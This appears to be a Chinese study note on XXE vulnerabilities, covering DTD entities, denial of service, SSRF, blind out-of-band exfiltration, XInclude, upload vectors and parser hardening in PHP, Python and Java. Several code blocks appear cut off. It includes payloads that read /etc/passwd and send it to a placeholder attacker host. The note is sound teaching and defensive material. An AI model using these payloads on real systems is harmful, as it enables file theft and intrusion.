今天学习一下xxe相关的内容。
0x00 基础知识
xml
XML 指可扩展标记语言(eXtensible Markup Language, XML), 单单从其代码格式上来说,与 HTML 非常相似. 但是 XML 与 HTML 有很大的差异,主要在于:
- HTML 被设计用来显示数据,其焦点是数据的外观。XML 被设计用来传输和存储数据,其焦点是数据的内容.
- XML 大小写敏感,HTML 不敏感.
- XML 不允许任何错误,HTML 可以容忍小错误. 总体上来说,XML 语法更严格.
- XML 可以自定义标签,HTML 标签预定义.
- XML 可以动态处理,HTML 是静态的.
xml实体和dtd
HTML 有许多预定义的实体,例如 : <
代表 <
, "
代表 "
等等.
XML 的灵活性更强,允许用户定义实体. DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。
DTD的声明:指XML文档中声明该文档的DTD或DTD来源的部分,可以包含在使用它的XML文档内部,也可以以独立的DTD文档(*.dtd)文档存在.
所以DTD一般认为有两种调用或声明方式:
- 内部DTD:即对XML文档中的元素、属性和实体的DTD的声明都在XML文档中.
- 外部DTD:即对XML文档中的元素、属性和实体的DTD的声明都在一个独立的DTD文件(.dtd)中.
网上有提到的调用公共DTD其实也算外部调用DTD的一种.
一般内部 DTD 定义格式如下:
1 | <!DOCTYPE foo [ <!ENTITY myentity "my entity value" > ]> |
然后就可以使用 &myentity;
来使用它.
XML 外部实体 (XML External Entity) 是一种自定义实体,而其定义在某个外部文件中. 定义 XML 外部实体要用到 SYSTEM
关键字,并且指定一个其对应的 URL 地址以供加载. 例如:
1 | <!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://normal-website.com" > ]> |
这里的 URL 也可以用 file://
协议来访问本地文件:
1 | <!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///path/to/file" > ]> |
XXE 就是利用 DTD 进行外部文件访问。
图:不同平台支持的协议
这里不仅仅可以利用 file://
, 还可以利用注入 php://input
之类的伪协议。
ps.一个文档的示例:
1 | <!--XML声明--> |
something important
我们上面已经将实体分成了两个派别(内部实体和外部外部),但是实际上从另一个角度看,实体也可以分成两个派别(通用实体和参数实体)。
1.通用实体
用 &实体名; 引用的实体,他在DTD 中定义,在 XML 文档中引用
示例代码:
1 | <?xml version="1.0" encoding="utf-8"?> |
2.参数实体:
(1)使用 % 实体名
(这里面空格不能少) 在 DTD 中定义,并且只能在 DTD 中使用 %实体名;
引用
(2)只有在 DTD 文件中,参数实体的声明才能引用其他实体
(3)和通用实体一样,参数实体也可以外部引用
示例代码:
1 | <!ENTITY % an-element "<!ELEMENT mytag (subtag)>"> |
抛转:
参数实体在我们 Blind XXE 中起到了至关重要的作用。
0x01 漏洞利用
文件访问
借助这个漏洞可以实现本地敏感文件访问。
DOS攻击
第一种 DOS 攻击
ps. 严格地说,这一种攻击只能算内部XML 实体攻击,不算 XXE (外部实体攻击).
1 |
|
很显然,每个 loln+1 都包含相同个数的 loln,对应的字符串指数级的增长. 以上例,一旦使用 &lol9;
,就会占用 3GB 左右的内存,导致服务器内存超出而崩溃。
第二种 DOS 攻击
这种攻击主要针对 Unix/类Unix 服务器. 如果 XML 解析器尝试使用 /dev/random 文件中的内容来替代实体,则此示例会使服务器(使用 UNIX 系统)崩溃。
1 |
|
SSRF
服务器端请求伪造 (Server-side request forgery, SSRF) 是只攻击者利用漏洞使得服务器端的应用连接到攻击者设定的地址.
一般地,攻击者会让被攻击的服务器访问自身,或者与服务器位于同一防火墙内的服务器,或外部第三方服务器.
成功的服务器端请求伪造通常会导致攻击者访问(同一机构或自身)敏感数据或敏感应用,某些情况下,还可能导致任意指令执行.
1 |
Blind XXE
很多情况下,XXE 攻击是不带回显的,因此不能直接访问服务器端文件,这使得 XXE 攻击难度增大.
一般有三种方法实现 Blind XXE:
- out-of-band (OAST), 用外部服务器来接收返回内容.
- 故意构造 XML 错误,从 XML Parser 的错误信息中获取敏感信息.
- 一个变种:重利用本地 DTD 文件.
Out-Of-Band 攻击
1.判断是否 XXE 攻击成功
1 |
攻击者可以监视 HTTP 请求和 DNS 请求来判断 XXE 攻击是否成功.
一般的 XML 自定义实体只能在文档中调用后才能起效,如果攻击者不能调用自定义实体,或者没有回显,普通的实体攻击就失效了. 这个时候,就要使用 XML 参数实体了.
XML 参数实体是一种特殊的 XML 实体,它只能在 DTD 内被调用. 对于 XML 参数,有两点必须注意:
- 定义参数实体时%要在实体名前:
1 | <!ENTITY % myparameterentity "my parameter entity value" > |
- 用参数实体时也必须要带%:
1 | <!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://remoteaddr.com"> %xxe; ]> |
2.利用 Out-Of-Band 获取文件
一个利用的 Out-Of-Band XXE 攻击读取 /etc/passwd
的 DTD 例子:
1 | <!ENTITY % file SYSTEM "file:///etc/passwd"> |
这个例子中 DTD 做了这几件事:
- 定义参数实例
file
, 其内容为/etc/passwd
的内容. - 定义参数实例eval, 它包含了一个动态的 XML 参数实例定义exfiltrate,这个exfiltrate会向攻击者的服务器发送包含
file
(/etc/passwd
) 内容的 HTTP 请求. - 调用
%eval
使得exfiltrate
被动态地定义. - 调用
%exfiltrate
使得服务器发送相关内容.
以上的 DTD 必须保存在攻击者的服务器上以供被攻击服务器访问. 这里,我们假设其地址为 http://remoteaddr.com/malicious.dtd
.
此时,攻击者可以向服务器提交恶意代码:
1 |
这个 Payload 定义了一个参数实体 xxe
,并且使得 XML Parser 获取远程的恶意 DTD,并动态执行,最后发送 /etc/passwd
.
ps1. 如果 XML Parser 对外部实体的具体内容进行过滤,Out-Of-Band 攻击可能不一定奏效,因为一些文件里的特殊符号会触发过滤机制. 这个时候就最好使用 FTP 协议. 另外,如果文件包含换行符则不能被读取.
ps2. 参考文献提示可以在 DTD 中用 ` 包裹来防止 XML Parser 解析:
1 | <!--服务端--> |
1 | <!-- eval.dtd --> |
错误信息型攻击
如果攻击者可以看见 XML Parser 返回的错误信息,则可以使用这种方法.
外部 DTD Payload:
1 | <!ENTITY % file SYSTEM "file:///etc/passwd"> |
这个 Payload 与之前的 out-of-band 不同之处在于 eval
中的 error
. 调用 %error
会使得 XML Parser 访问一个不存在的地址,从而引发错误,而这个错误文件的地址里包含了敏感信息.
0x02 寻找注入点
XInclude
有的时候,客户端向服务端提交数据,并嵌入到服务端的 XML 文档中,整合后再读取分析, 比如简单对象访问协议 (SOAP).
这种情况下,你不能直接修改 DOCTYPE
元素,经典的 XXE 攻击无法执行. 这时则需要 XInclude
攻击.
XInclude
属于 XML 的说明部分,允许 XML 文件包含其他文件,就像 php 里的 include()
. XInclude
可以出现在 XML 任何地方,因此可以使用 XInclude
攻击。
实施一个 XInclude
攻击,你需要引用 XInclude
命名空间,并且指定你想要包含的文件地址:
1 | <foo xmlns:xi="http://www.w3.org/2001/XInclude"> |
文件上传型
一些常见的文件包含 XML 内容:.docx
, .xlsx
, .svg
, ……
- 在线查看 Microsoft Office 全家桶文档文件时,可以在其 XML 中植入 XXE 代码.
- 一些图片处理应用可以接收
.svg
(矢量图片),可以在其中插入恶意代码. 注意,哪怕应用不显式地接收.svg
类型,但是其实现的处理库还是可能支持,可以尝试强制提交查看反应.
修改提交的 Content-Type
一般的 POST 请求使用的默认类型由 HTML 表单生成,比如 application/x-www-form-urlencoded
. 有的网页对接收的类型要求不严格,允许用户提交其他类型的数据,包括 XML.
假如一个正常的 POST 请求如下:
1 | POST /action HTTP/1.0 |
尝试修改为:
1 | POST /action HTTP/1.0 |
如果服务端接受修改后的请求,那么这就是一个可能的注入点。
XXE-labs
php
登录抓包发现数据使用xml格式进行传输,尝试构造DTD:
1 |
|
发现成功返回,说明存在xxe漏洞。
防御方法:
1 | libxml_disable_entity_loader(true); |
ps.现在 libxml
默认关闭外部实体.
python
payload同理,但是环境好像有点问题,提示list index out of range,……
防御方法:
1 | from lxml import etree |
java
payload同理。防御方法:
1 | DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance(); |